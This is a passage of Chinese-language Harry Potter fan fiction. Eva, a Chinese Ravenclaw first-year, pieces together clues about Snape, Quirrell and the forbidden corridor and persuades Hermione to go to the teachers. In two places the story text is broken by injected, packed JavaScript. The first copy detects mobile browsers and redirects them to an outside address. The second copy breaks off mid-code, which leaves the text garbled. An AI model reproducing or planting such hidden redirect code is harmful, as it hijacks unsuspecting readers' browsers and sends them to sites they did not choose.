赫敏瞥了一眼书名,眼睛亮了一下:“《东方与西方魔力理论的比较》?真少见。我也看过一点关于东方魔法的书,但图书馆里资料不多。” “你在查什么?”Eva问。 “关于……恶咒的反咒,”赫敏压低声音,翻开她带来的书——《实用防御魔法及其破解》,书页很旧,边都卷起来了,“昨天哈利的事……我觉得我们得搞清楚到底发生了什么。” Eva点点头。她想起昨天在球场上看到的——两个教授都在念咒。 “你觉得是谁?”她轻声问。 赫敏咬了咬嘴唇:“我不知道。斯内普教授看起来……很可疑。但奇洛教授也很怪。而且……”她顿了顿,“昨天我放火烧斯内普教授袍子时,他确实中断了念咒,然后哈利的扫帚就好了。可是……” “可是什么?” “可是如果斯内普教授是在念破解咒呢?”赫敏的声音更低了,“如果我的打断反而帮了恶咒那边……哦,梅林啊,我不敢想。” 她的表情很苦恼,手指无意识地卷着一缕头发。这是Eva第一次看到赫敏这么不确定。 “或许……”Eva慢慢说,“我们不该只看一个人。” “什么意思?” “昨天我看到奇洛教授也在念咒,”Eva说,“而且他看起来很……紧张。” 赫敏瞪大眼睛:“你也看到了?” “嗯。” 两人沉默了一会儿。图书馆里很安静,只有远处平斯夫人整理书架时书页的沙沙声。 “所以可能有两种情况,”赫敏用笔在羊皮纸上画着,“一,斯内普在念恶咒,奇洛在念破解咒,但奇洛太弱,对抗不了。二,反过来,斯内普在破解,奇洛在攻击。” “或者两个都在攻击,”Eva说,“互相干扰。” 赫敏摇摇头:“不可能。两个恶咒会互相抵消,反而让哈利安全。但昨天扫帚明显是被一个强力恶咒控制了。” Eva看着窗外的云。线头又多了一个。 “我们需要证据,”赫敏合上书,声音坚定起来,“不能靠猜。下次如果再有类似的事……我们得看清楚。” “怎么看清楚?” “我有个主意,”赫敏说,但没往下说,“等我想清楚再告诉你。” 她又埋头看书了,笔在羊皮纸上飞快地写着。Eva也继续看她的书。阳光在书页上慢慢移动,从左边移到右边。 晚饭前,Eva收拾东西准备离开。她经过“禁书区”时(外面有绳子拦着,学生不能进),听到平斯夫人正在和费尔奇说话。 “……昨晚的事太奇怪了,”费尔奇的声音沙哑,“四楼右边的走廊,我明明锁了门,但今天早上发现门锁有被撬过的痕迹。” “有什么东西丢了吗?”平斯夫人问。 “那倒没有。但肯定有人想进去——而且不是学生。学生没那个胆子,也没那个本事。” “教授们怎么说?” “斯内普教授检查过了,说没发现异常。但我觉得他在隐瞒什么……”费尔奇的声音低了下去。 Eva快步走过,没让他们看见。四楼右边的走廊——就是开学时邓布利多说的禁区。有人想闯进去,但没成功。 线头又冒出来一个,但还连不上。 晚餐时,Eva特别留意了教师席。斯内普教授坐在邓布利多左边,表情和平常一样阴沉。奇洛教授坐在最边上,正小口小口地喝汤,手有点抖。 邓布利多教授在和麦格教授说话,脸上带着温和的笑。他银白色的长胡子在烛光下闪闪发亮。 Eva想起爷爷的话:天底下的事,不是永远都分得清的。要看清楚中间的线在哪儿。 她现在看到的线头越来越多:扫帚失控、两个可疑的教授、四楼的禁区走廊有人想闯入…… 但它们还只是线头,散落在地上。 需要一根针,把它们串起来。 那天晚上回塔楼时,鹰形门环的问题是:“当你追逐它时它逃,当你逃离它时它追,是什么?” “影子。”Eva说。 门开了。公共休息室里,秋·张正在和几个二年级学生下巫师棋。看到Eva进来,她招招手。 “今天变形术怎么样?”秋问,“我听丽莎说麦格教授特别点了你的例子。” “马马虎虎。”Eva在她旁边的沙发上坐下。 “别太在意,”秋笑着说,“我刚来时也这样。魔力太强有时候是麻烦,你得学会和它相处。”她顿了顿,“对了,周末我们打算去霍格莫德——虽然一年级不能去,但我们可以走到村口看看。你要不要一起?” 霍格莫德是巫师村,三年级以上才能去。但走到村口看看还是可以的。 “好。”Eva说。 秋又聊了些别的事:拉文克劳的魁地奇训练(“我们找球手是个七年级,毕业后我就有机会了!”),圣诞节留校的学生名单(“我爸妈要去法国,所以我留下来”),还有她正在织的一条围巾(“蓝色配青铜色,就是总织错针”)。 Eva安静地听着。秋的声音像小溪流,哗啦啦的,让人安心。 睡前,她坐在窗边,翻开爷爷的绢帛笔记。今天她翻到后面几页——之前她没仔细看,因为字更小,更密。 “……炁顺则安,炁逆则乱。顺非强压,逆非放纵。如水行于川,随势而走,遇石则分,遇洼则聚……” 她小声念着。这些话她还不完全懂,但念出来时,心里那股“炁”好像真的顺了些,凉凉的,在身体里慢慢转。 窗外,城堡的灯一盏盏灭下去。远处禁林黑黝黝的,像一头沉睡的巨兽。塔楼高处,风呼呼地吹过窗缝。 Eva躺上床,闭上眼睛。 线头还在那里:禁区走廊、想闯入的人、两个可疑的教授…… 但今晚她不想了。爷爷说,看不清的时候,就先放一放。线不会跑,它会等你去捡。 她睡着了。梦里没有线,只有江南老宅院子里的那棵槐树,叶子沙沙响。爷爷坐在树下,用那支紫竹笔在纸上写字,一笔一划,稳稳的。 墨香淡淡的,飘在湿润的空气里。 第二天早上,早餐时气氛有些异样。费尔奇在礼堂门口拦住邓布利多教授,焦急地比划着什么。邓布利多耐心听着,然后点了点头。 没多久,邓布利多教授站起来,礼堂安静了。 “我有一件事需要向大家说明,”他的声音依然平静,“昨晚,城堡四楼发生了一起未遂闯入事件。有人试图进入禁止学生入内的区域。” 礼堂里响起一片低低的议论声。 “所幸,防护措施起了作用,闯入者未能成功,也没有物品丢失,”邓布利多继续说,“但这件事提醒我们,安全永远是第一位的。从今天起,城堡的夜间巡逻将进一步加强。同时,我再次强调:任何学生不得靠近四楼右边的走廊。违反者将面临开除处分。” 他说“开除”时,声音不高,但每个字都像小锤子敲在石头上,笃笃的。 他坐下后,议论声更大了。 “谁会想闯进那里?”罗恩在格兰芬多长桌大声说,“那里面到底有什么?” “肯定是危险的东西,”赫敏压低声音,“不然邓布利多教授不会这么重视。” “说不定是斯内普想偷什么东西,”罗恩肯定地说,“他一直鬼鬼祟祟的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980623|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Eva慢慢吃着烤面包。她看向教师席——斯内普教授面无表情地切着煎蛋,好像完全没听见礼堂里的议论。奇洛教授则缩在椅子里,头巾裹得严严实实,只露出一双惊慌的眼睛。 那天下午的魔药课,气氛格外压抑。斯内普教授脸色铁青,每说一句话都像在往外吐冰碴子。 “今天制作遗忘药水,”他冷冷地说,“配方在黑板上。任何人不许出错——尤其是你,波特。如果我再看到你把豪猪刺提前加入,你就和隆巴顿一样,去医疗翼报到。” 哈利低下头,没说话。Eva看到他握搅拌棒的手很用力,指节都发白了。 Eva和帕德玛一组。她们小心地称量缬草根,磨成细粉。缬草根有股刺鼻的味道,闻久了头晕。 斯内普在教室里慢慢踱步,黑袍拖在地上,发出轻微的沙沙声。他走到Eva她们的操作台边时,停下来,低头看着坩埚。 “缬草根粉不够细,”他冷冷地说,“重新磨。要磨到能透过筛子的程度。” “是,教授。”Eva低声说。 斯内普没马上走。他的目光落在Eva手边——那里放着爷爷给的那支紫竹笔。Eva今天把它带出来了,因为早上写完静心口诀后忘了放回去。 “那是什么?”斯内普问。 “一支笔,教授。”Eva说。 “我知道是笔,”斯内普的声音里有一丝不耐烦,“我是问,为什么带到魔药教室来?” Eva张了张嘴,不知道该怎么解释。难道说因为忘了放回去? “是我让她带的,”帕德玛突然说,声音有点抖,“我、我想借来抄笔记……我的羽毛笔坏了。” 斯内普看了帕德玛一眼,又看了Eva一眼。他那双黑眼睛深得像井,Eva感觉他好像什么都看穿了。 但他没再问,只是转身走了。 Eva松了口气。她感激地看了帕德玛一眼,帕德玛回了一个勉强的笑。 下课后,Eva收拾东西时,发现紫竹笔的笔杆上沾了点缬草根粉。她用袖子轻轻擦掉。笔杆凉凉的,光滑得像玉。 走廊里,她听到几个斯莱特林学生在议论。 “……我爸说,中国巫师根本不懂真正的魔法,他们只会弄些花架子。” “但我听说张在万圣节用了很厉害的咒语。” “谁知道是不是真的。说不定是别人做的,她只是凑巧在旁边。” Eva没停步,继续往前走。这些话像风,吹过就散了。 但走到三楼时,她被人拦住了。 是马尔福,还有克拉布和高尔。他们靠在墙边,好像专门在等她。 “哟,拉文克劳小姐,”马尔福慢悠悠地说,“今天的魔药课怎么样?斯内普教授好像特别‘关照’你。” Eva没说话,想绕过去。但克拉布和高尔挪了挪,堵住了路。 “我听说,”马尔福往前凑了凑,声音压低,“你最近经常在图书馆待到很晚。在查什么?关于恶咒的反咒?还是关于……怎么神不知鬼不觉地潜入某个地方?” Eva的心跳漏了一拍。他怎么知道她最近在图书馆待到很晚? “我只是在做作业。”她说。 “作业?”马尔福笑了,“《东方与西方魔力理论的比较》?这可不像一年级的作业。” 他果然在监视她。或者,有人在替他监视。 “图书馆是公共区域,”Eva尽量让自己的声音平静,“我看什么书是我的自由。” “当然,”马尔福耸耸肩,“我只是好奇。一个中国来的学生,对西方魔法理论这么感兴趣……是打算写报告寄回国内吗?还是说……”他顿了顿,“你在找什么特别的东西?” 他的眼睛盯着她的脸,像在观察她的反应。 Eva想起爷爷的话:有些人看着不好,不一定真坏。但马尔福……他现在看起来就是“不好”。 “我在找学习资料,”她说,“仅此而已。” 马尔福盯着她看了几秒,然后退开半步。“好吧。祝你……学习顺利。”他说这话时,嘴角又挂起那个意味深长的笑。 Eva从他身边走过,能感觉到他的目光一直黏在她背上。 那天晚上,她没去图书馆。她待在公共休息室里,坐在壁炉边的角落,假装看书,但其实在想事情。 马尔福为什么对她这么感兴趣?因为她是所谓的“特殊背景”?因为他父亲说过什么?还是因为他察觉到了她身上的“不同”? 还有四楼的事。到底是谁想闯进去?想偷什么? 线头越缠越乱。 秋·张走过来,在她旁边坐下。“你看上去有心事。” “有点。”Eva说。 “因为马尔福?”秋轻声说,“我听到了些传闻。他在打听你。” Eva抬起头。 “别担心,”秋拍拍她的手,“马尔福家就那样。他们觉得所有‘外来者’都可疑。我刚入学那会儿,有些高年级斯莱特林学生也刁难过我,因为我的姓氏和他们知道的一些中国巫师家族有关联。”她笑了笑,“但我没理他们。时间久了,他们觉得没趣,就去找别人麻烦了。” “他们问了你什么?”Eva问。 “也没什么特别的。就是问我家里是做什么的,为什么来英国,会不会‘中国魔法’之类的。”秋耸耸肩,“我都如实回答了。我爸是古灵阁的解咒员,我妈在圣芒戈当治疗师。至于中国魔法……我只在家族聚会时见过一点,自己不会。” Eva点点头。秋的回答很聪明——坦诚,但没暴露什么。 “你做得对,”秋说,“别让他觉得你藏着什么。越是躲躲闪闪,他越好奇。” 窗外的天色完全黑了。塔楼高处,风刮得更凶,窗玻璃被吹得嗡嗡响。 Eva看着壁炉里的火焰。火苗一跳一跳的,把影子投在墙上,像在跳舞。 线头还在那里。但今晚,她决定听秋的——不躲,也不刻意迎上去。 她只是看。 看清每一根线从哪里来,要往哪里去。 看清中间的线在哪里。 然后,站稳。 不晃。 8. 图书馆的发现 日子一天天过去,城堡越来越冷了。每天早上醒来,窗玻璃上都结着薄薄的霜花,像有看不见的手指在上面画了画。Eva会用指尖碰碰,凉意顺着指头爬上来。 十一月快过完的时候,下了第一场雪。不是伦敦冬天那种湿冷的雨夹雪,是真正的、干爽的雪——大片大片的,蓬松松的,从铅灰色的天空飘下来,把城堡、庭院、黑湖全都盖上了一层白。从拉文克劳塔楼看下去,整个霍格沃茨像一块撒了糖霜的姜饼屋。 学生们都兴奋坏了。下课后,好多人跑到院子里打雪仗。弗雷德和乔治·韦斯莱做了个会自己追着人打的雪球,差点砸中费尔奇,费尔奇气得胡子都翘起来了。 Eva也喜欢雪。站在塔楼窗前,看着雪花慢慢飘,心里那股“炁”会变得特别安静,凉凉的,像雪花落在手心里融掉的那种感觉。 但城堡里的气氛并不像雪那么平静。 四楼那次未遂闯入后,巡逻确实加强了。晚上常常能看到费尔奇提着灯,拖着洛丽丝夫人在走廊里转悠。皮皮鬼也收敛了些,不过还是在三楼女盥洗室附近扔水炸弹,把路过的学生淋成落汤鸡。 马尔福没再来找Eva麻烦,但他看她的眼神还是怪怪的。在魔药课上,Eva能感觉到他的目光时不时扫过来。有一次她抬起头,正好对上他的眼睛,他愣了一下,然后嘴角勾起一个典型的、带着讥诮的笑,慢慢把头转开,继续听他身边的潘西·帕金森说话。 倒是哈利,最近看起来心事重重。早餐时,Eva常看到他盯着面前的盘子发呆,连伍德叫他讨论魁地奇战术都心不在焉。罗恩在旁边说着什么,哈利只是“嗯嗯”地应着。 一天变形课后,Eva在走廊里碰到哈利一个人走着,低着头,差点撞到她。 “对不起。”哈利赶紧后退一步。 “没事。”Eva看着他,“你还好吗?” 哈利揉了揉太阳穴,那块疤痕在发际下露出来一点。“还好……就是有点头疼。” “头疼?”Eva问。她记得魁地奇比赛那天哈利说过疤痕刺痛,但没具体说过头疼。 “嗯,”哈利的声音低低的,“这几天时不时就疼一下。特别奇怪——不是什么特别的时间,就是突然一阵。” 他顿了顿,像在犹豫要不要说,最后还是说了:“而且我做了奇怪的梦。” “梦?” “嗯,”哈利的声音更低了,“总是梦见一片绿光……还有女人的尖叫声。醒来的时候,那道疤就火烧一样疼。”他摸了摸额头,“我从来没跟别人说过这个梦。连罗恩和赫敏都没说。” Eva没说话。这道疤,还有那些梦,肯定不简单。她想起爷爷的话——要看清楚中间的线,但不要急着把自己放进去。哈利现在明显站在某种“线”上,但那条线通向哪里,她看不清。 “你告诉庞弗雷夫人了吗?”她问。 哈利摇摇头:“她可能会让我住院观察,那我就要错过魁地奇训练了。”他苦笑,“而且……我觉得这不是普通的头疼。这感觉……很特别。” 走廊里有风吹过,带起一阵寒意。Eva裹紧了袍子。 “要小心。”她说。这是她现在唯一能说的。 哈利点点头,绿眼睛看着她,好像想说什么,但最后只是说:“你也小心。我总觉得……城堡里最近不太对劲。” 他们分开了,Eva往图书馆走,哈利回格兰芬多塔楼。走到拐角时,Eva回头看了一眼——哈利还站在原地,看着她离开的方向,表情有点茫然,又有点担忧。 图书馆今天人不多。平斯夫人在前台整理借阅记录,羽毛笔在羊皮纸上沙沙响。Eva走向靠窗的老位置——她现在几乎每天都来这儿,已经成了习惯。 桌上还摊着昨天没看完的书:《古代魔法防护体系考》。她坐下,翻开上次看到的地方。 “……霍格沃茨城堡的防护魔法自建校之初便存在,历代校长在此基础上层层加固。其中最核心的防护集中在几个关键区域:校长办公室、禁书区、以及某些特定密室……” Eva看得认真,用紫竹笔在笔记本上记要点。这笔用起来特别顺手,写出来的字又细又稳,墨迹干得也快。 大概过了半小时,旁边有人轻轻拉开椅子。Eva抬头,看见赫敏抱着几本厚书坐下,书堆得太高,差点倒下来。 “嗨。”赫敏小声说,把书放稳。 “嗨。”Eva回应。 赫敏翻开最上面那本——《中世纪欧洲魔法城堡防御研究》——开始飞快地阅读,时不时在羊皮纸上记点什么。她的羽毛笔写得沙沙响,比平斯夫人的还快。 安静持续了大概二十分钟。然后赫敏突然抬起头,压低声音:“我们需要谈谈。” Eva看着她。 “关于四楼,”赫敏的眼睛在镜片后闪闪发亮,“还有哈利的事。我有个想法。” Eva放下笔,等她说下去。 “下周末是霍格莫德周,三年级以上学生可以去。到时候城堡里人会少很多。”赫敏的声音压得很低,“我们可以趁那个时间去四楼看看。” Eva手里的笔完全停住了。她看着赫敏,没说话。 赫敏好像没注意到她的沉默,继续快速说着:“我知道是禁区,邓布利多教授说了会被开除。但是哈利的情况太奇怪了——他的疤疼,那些噩梦,还有之前扫帚失控的事。这些都跟四楼有关联,我肯定!” Eva还是没说话。她在想爷爷的话:看清楚中间的线在哪儿,站稳了,别晃。把自己直接放到禁区里去,这算“站稳”吗?万圣节那晚只是想拿回书包,却迎面撞上巨怪的记忆还清晰着——有时候,你只是想靠近线看一眼,却可能被瞬间拖入线的另一侧,那里可能是你根本无法应对的漩涡。 “我们只是去看看,”赫敏继续说,声音里带着一种她自己可能都没察觉到的急切,“不进去,就在外面观察。如果真有什么异常,我们就马上报告教授。” “为什么不现在报告教授?”Eva终于开口,声音很平静。 赫敏愣了一下:“什么?” “如果觉得有危险,为什么不直接告诉教授?”Eva看着她,“麦格教授,或者邓布利多教授。” “因为……”赫敏咬住嘴唇,“因为我们没有证据。如果我们只是说‘感觉不对劲’,教授们可能不会当真。但如果我们亲眼看到了什么……” “那会更危险。”Eva说,“如果我们看到的东西,本来就不该我们看到呢?” 赫敏皱起眉头:“可是哈利的头疼……” “那就更应该告诉教授了。”Eva说,“庞弗雷夫人是治疗师。如果是魔法伤害,她肯定知道怎么处理。” 她说话的语气很平静,就像在说“明天要下雨记得带伞”一样平常。但这平静让赫敏有些不知所措——她本以为Eva会支持她的计划,或者至少会犹豫,会讨论。 “你不担心哈利吗?”赫敏问。 “担心。”Eva说,“但担心不意味着要违反校规,把自己放到危险里。” 她想起万圣节那晚,她和曼蒂去图书馆拿书包,结果遇到了巨怪。那是个教训——有时候你以为只是“看一眼”,结果可能会看到你根本处理不了的东西。 赫敏沉默了很久。她低头翻着书,但眼睛没在看字。 “也许你说得对,”最后她说,声音有些沮丧,“我只是……我只是觉得,如果我们不做点什么,哈利可能会出事。” “做该做的事。”Eva说,“该告诉教授就告诉教授。他们是大人,知道怎么处理。” 赫敏点点头,但看起来并没有完全被说服。她合上书,开始收拾东西:“我得去找哈利,问问他有没有告诉庞弗雷夫人。” 她匆匆离开了。Eva看着她消失在书架间的背影,轻轻叹了口气。 她理解赫敏的着急。赫敏是个行动派,看到问题就想立刻解决。但Eva从小受的教育不一样——爷爷教她的是:先看清楚,想明白,再决定要不要动。有时候,不动就是最好的动。 她继续看书。窗外的雪还在下,天色渐渐暗下来,图书馆里的灯自动亮起。 平斯夫人来巡查时,看到Eva桌上的书,点了点头:“还在研究防护魔法?” “嗯。”Eva说。 “很扎实的课题,”平斯夫人说,“不过要记住,理论归理论,实践是另一回事。” 她说这话时语气很平常,就像在说“记得按时还书”一样。说完就转身继续巡查了。 闭馆时间到了。Eva收拾好东西离开。走廊里很冷,火把的光在石墙上跳动。 回拉文克劳塔楼的路上,她在三楼拐角处碰到了哈利和罗恩。两人正在低声说话,表情严肃。 “Eva!”哈利看到她,眼睛亮了一下。 “嗨。”Eva说。 “赫敏刚才找我了,”哈利说,“她说你觉得我应该告诉庞弗雷夫人。” Eva点点头。 “她说得对,”哈利苦笑,“我刚才去找了庞弗雷夫人。她给了我一些药,还说我应该多休息,少熬夜。”他顿了顿,“不过她也说……这种疤痕反应不常见,她会跟邓布利多教授报告。” 罗恩在一旁嘟囔:“要我说,肯定是斯内普搞的鬼。他念恶咒的时候你就疼,这不是明摆着吗?” “我们没有证据。”哈利说。 “那你打算怎么办?”Eva问。 哈利摇摇头:“我不知道。庞弗雷夫人让我按时吃药,注意休息。她说如果还疼,随时可以去找她。”他看向Eva,“谢谢你。如果不是你提醒赫敏……” “是赫敏自己想到的。”Eva说,“她只是关心你。” 哈利笑了,那个笑容让他看起来轻松了些。“我知道。你们都是。” 他们又聊了几句,然后分开了。Eva继续往塔楼走,心里想着哈利的话——庞弗雷夫人会跟邓布利多教授报告。 那说明教授们已经知道了。大人们已经在处理了。 鹰形门环今晚的问题是:“什么光越黑暗越明亮?” “星光。”Eva说。 门开了。公共休息室里温暖明亮,壁炉里的火噼啪作响。秋·张正和几个二年级女生坐在窗边,看到Eva进来,抬起头对她温和地笑了笑。 “回来了?”秋的声音总是很轻柔,“外面冷吗?” “有点。”Eva在她们旁边的扶手椅上坐下,搓了搓手。 “喝点这个,”秋递给她一杯还在冒热气的巧克力,那是家养小精灵刚送上来的,“暖暖身子。” “谢谢。”Eva接过杯子,热气透过瓷杯传到手心,很舒服。 秋看她的眼神带着关切:“你最近总是在图书馆待到很晚,是作业很多吗?” “有一些,”Eva喝了口巧克力,甜度刚好,“也在查些资料。” “关于防护魔法的?”秋瞥见她书包里露出的书角,“我记得你前几天就在看那本《古代魔法防护体系考》。” Eva点点头。秋很细心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秋上楼后,Eva独自坐在壁炉边。巧克力的温暖从胃里扩散到全身,她感觉紧绷了一天的神经终于放松了些。 她翻开爷爷的笔记,翻到常看的那一页,手指抚过上面的字迹。 明天要告诉赫敏,让她别急着行动。有些事,急不来。 第二天早餐时,Eva特意在走廊里等到赫敏。赫敏正抱着一摞书匆匆走着,看到她停下来。 “我想了一晚上,”赫敏开门见山地说,眼圈有点黑,显然没睡好,“你说得对。我们应该先告诉教授。” Eva点点头:“庞弗雷夫人已经在处理了。” “我知道,”赫敏说,“但我还想做点什么。所以我打算……”她顿了顿,“去查查有没有类似的案例。关于杀戮咒疤痕的后遗症,或者关于黑魔法物品的防护措施。” 这是个稳妥的主意——用知识去理解问题,而不是贸然行动。 “需要帮忙吗?”Eva问。 赫敏的眼睛亮了一下:“真的吗?我正好需要有人帮我整理文献。《实用防御魔法及其破解》里有几章相关的内容,但太散了……” “下午图书馆?”Eva提议。 “好!”赫敏用力点头,脸上终于露出了笑容。 那天下午,她们在图书馆的角落找了张桌子,摊开各种参考书。赫敏负责查找和标记重点,Eva负责整理和抄录。配合得很默契。 “你看这里,”赫敏指着一行字,“‘某些强大的黑魔法物品会与同源魔法痕迹产生共鸣’。如果四楼真的有黑魔法物品,而哈利的疤痕是伏地魔的杀戮咒留下的……” 她没说完,但意思很清楚了。 Eva在笔记本上记下这句话,旁边画了个问号。共鸣——这个词很关键。但共鸣到什么程度?会有什么后果? 窗外的雪又下起来了。图书馆里很安静,只有翻书声和羽毛笔的沙沙声。 平斯夫人经过时,看到她们在查的资料,只是点了点头,没说什么。 闭馆前,赫敏合上最后一本书,长长地舒了口气:“我明天去找庞弗雷夫人,把这些资料给她看看。也许她能判断出哈利的情况到底严不严重。” “好主意。”Eva说。 她们收拾好东西离开。走廊里,赫敏突然说:“Eva,谢谢你。不只是谢你今天帮忙,也谢你昨天……让我冷静下来。我有时候太冲动了。” “你只是关心朋友。”Eva说。 赫敏笑了,那个笑容让她看起来像个普通的一年级女孩,而不是总是紧绷着的小大人。 她们在楼梯口分开。Eva回拉文克劳塔楼的路上,脚步轻松了许多。 鹰形门环今晚的问题是:“什么东西看不见,但能让一切变得清晰?” “理智。”Eva说。 门开了。公共休息室里,秋正在和几个女生玩巫师棋,棋子们吵吵嚷嚷的。看到Eva进来,秋抬起头:“回来了?今天看起来心情不错。” “嗯,”Eva在她们旁边坐下,“事情有进展了。” “那就好。”秋说,没有追问是什么事,只是递给她一块小饼干,“尝尝,家养小精灵新烤的姜饼。” Eva接过饼干,咬了一口,肉桂和姜的香味在嘴里化开。 她看着棋盘上正在互相叫骂的棋子,听着周围同学的笑声,感受着壁炉的温暖。 也许爷爷说得对——有时候,站稳就是最好的行动。不是往前冲,也不是往后退,就是站在原地,看清楚,想明白。 而在这个过程里,有人愿意递给你一杯热巧克力,有人愿意跟你分享一块饼干,有人愿意在你冲动时提醒你冷静。 这也是站稳的一部分。 窗外的雪夜里,霍格沃茨的灯火温暖地亮着。 Eva吃完饼干,拍了拍手上的碎屑。 明天还要上课,还要写作业,还要去图书馆查资料。 日子还要继续。 9. 圣诞节的抉择 雪下得更大些了。每天早上,Eva推开窗都能看见新积的雪把塔楼的窗台垫得厚厚的,像铺了层棉花。素雪喜欢趴在窗台上,琥珀色的眼睛盯着飘落的雪花,偶尔伸出爪子扒拉一下,看雪花在爪尖融化。 城堡里的圣诞节气氛越来越浓。礼堂天花板上挂起了冬青和槲寄生的花环,那些会动的小仙子在花环间飞舞,洒下亮晶晶的粉末。家养小精灵们烤制姜饼和百果馅饼的香味,顺着楼梯和走廊飘得到处都是。 麦格教授开始统计圣诞节留校的学生名单。一天变形课后,她站在讲台上,羽毛笔在羊皮纸上沙沙作响。 “需要留校过圣诞节的同学,请在周五前把名字报给各自的级长。”她的目光扫过教室,“留校期间,公共休息室会保持开放,礼堂也会有节日餐点。但记住——任何违规行为,节日期间同样会受到处罚。” 下课后,学生们三三两两地讨论着圣诞计划。 “我爸妈要去罗马尼亚看查理,”罗恩对哈利说,“所以我和双胞胎都得留校。珀西说要‘监督’我们,好像他自己不会偷偷溜去约会似的。”他撇撇嘴,“金妮被送到外婆家去了,妈妈说带着她长途旅行不方便。” “我也留校。”哈利说,声音很平静,但Eva看见他绿眼睛里闪过的一丝黯淡。哈利顿了顿,看向她们这边:“Eva,曼蒂,你们呢?” 曼蒂正在收拾书包,抬起头:“我留校。妈妈说今年雪太大,路上不好走。” “我也留。”Eva说。爸爸妈妈从东欧寄来封信,说工作太忙,圣诞节期间还要参加几个重要的会议。爷爷倒是写信问她要不要回江南,但信寄到时已经十一月底了,再安排国际行程太仓促。 赫敏抱着厚厚一摞书走过来:“我本来要回家的,但我说服了爸爸妈妈。霍格沃茨的圣诞节多难得啊!”她拍了拍书包,“而且我还有很多书要看。” 拉文克劳这边,丽莎和帕德玛都要回家。曼蒂犹豫了好几天,最后还是决定留下来——她家在威尔士,妈妈说今年冬天太冷,路上不好走。 那天晚饭后,秋·张在公共休息室问Eva:“你真的不留校吗?我们可以一起过圣诞。”她正在织那条蓝青铜色的围巾,现在看起来像样多了。 “我留校。”Eva说。 “太好了!”秋的眼睛亮起来,“我也留校。我爸妈要去法国看我舅舅,说带小孩子长途旅行太麻烦。”她做了个鬼脸,“好像我十二岁了还算‘小孩子’似的。不过这样更好,我们可以一起过圣诞。” Eva点点头。秋的友善让她感到温暖,就像公共休息室里永远燃烧的壁炉。 十二月的第二周,冷得连呼吸都能看见白气。Eva早上起床时,发现窗玻璃上的霜花更厚了,像有谁用冰针在上面刻了细密的图案。她用手指碰了碰,凉意一直传到胳膊肘。 魔药课变得越来越难熬。地下室本来就阴冷,现在更是呵气成霜。学生们在搅拌坩埚时得不停往手上呵气,否则手指会冻得僵硬。斯内普教授却似乎完全不受影响,依旧黑袍翻飞地在教室里踱步,苍白的脸上连一点红晕都没有。 今天他们在制作一种治疗冻疮的药膏。Eva和帕德玛一组,小心翼翼地加热着豪猪刺和蝾螈皮。 “顺时针搅拌,”Eva轻声提醒,“书上说逆时针会破坏药性。” 帕德玛点头,手腕稳稳地转着圈。坩埚里的药液渐渐变成了一种柔和的淡粉色,散发出薄荷和樟脑混合的清凉气味。 斯内普教授无声无息地滑到她们身后。他俯身,瘦长的手指沾了点药膏,在指尖捻开,又凑到鼻尖嗅了嗅。 “颜色正确,质地尚可。”他的声音平板无波,听不出是褒是贬,“至少有人在认真读课本。” 他直起身,正要走开,目光却落在了Eva手腕上——今天她把袖子挽高了点,那块羊脂白的玉佩露了出来,在昏暗的地下室里泛着温润的光泽。 斯内普教授的动作停顿了半秒。那半秒很短,短到Eva几乎以为是错觉。但他的黑眼睛在玉佩上停留了一瞬,眼神里有什么东西闪过——不是好奇,更像是某种确认。 然后他移开视线,什么也没说,转身走向下一组学生。 下课铃终于响了。学生们如释重负地收拾东西,逃也似的离开阴冷的地下教室。Eva把紫竹笔和羊皮纸笔记收进书包时,帕德玛小声说:“你有没有觉得斯内普教授今天上课一直在盯着你?” Eva愣了一下:“有吗?” “嗯,”帕德玛的声音压得更低,“特别是你看玉佩的时候。他的眼神……很奇怪。” Eva没说话。她想起开学以来斯内普教授对她的态度——那种若有若无的关注,那本《东亚药用植物萃取精要》,还有刚才那个短暂的眼神。 他到底在确认什么? 走出地下教室,回到城堡主楼的温暖中,Eva才感觉冻僵的手指慢慢恢复了知觉。她在三楼拐角处碰到了哈利和罗恩,两人正急匆匆地往格兰芬多塔楼走。 “嘿,Eva。”哈利看到她,放慢了脚步。 “嗨。”Eva注意到哈利手里拿着个旧旧的纸包,用绳子扎着,边角都磨毛了。 “海格给的,”哈利注意到她的目光,解释道,“说是提前的圣诞礼物。他烤了岩皮饼,让我们尝尝。” 罗恩做了个夸张的鬼脸:“我上次吃岩皮饼崩掉了一颗乳牙。弗雷德说那玩意儿能当游走球用。” 哈利笑了,那个笑容让他看起来轻松了些。但Eva注意到他眼下的阴影更深了,那道疤痕在发际下隐隐露出来,颜色好像比平时更红一点。 “你还好吗?”她轻声问。 哈利下意识地摸了摸额头:“还好。就是……昨晚又做梦了。” 他没往下说,但Eva明白了。那些关于绿光和尖叫声的梦还在继续。 “庞弗雷夫人的药没用吗?” “有点用,”哈利说,“但只是缓解。她说这种‘疤痕反应’很罕见,需要观察。”他顿了顿,“邓布利多教授前天找我谈话了。” Eva抬起头。 “他没说什么具体的事,就是问我感觉怎么样,适不适应霍格沃茨的生活。”哈利的声音低了下去,“但他问得很仔细。关于梦的细节,关于头疼的时间……我觉得他知道些什么。” “他肯定知道,”罗恩插嘴,“他是邓布利多啊。” 他们在楼梯口分开。Eva看着哈利和罗恩的背影消失在旋转楼梯上,心里那股“炁”轻轻动了一下,像水面被风吹起了涟漪。 爷爷说过,当一件事牵扯太多,看不清全貌时,就专注于自己能做的部分。 她能做什么呢? 那天晚上,Eva在公共休息室写作业。壁炉里的火烧得正旺,木头噼啪作响。她摊开羊皮纸,开始写麦格教授布置的变形术论文——“论意志力在变形咒中的主导作用”。 “……变形不仅仅是外形的改变,更是施咒者意志对现实的重塑。当意志清晰而坚定时,魔力会像听话的画笔,将想象变为现实。但当意志动摇或分散时,魔力可能会脱离控制,产生意料之外的结果……” 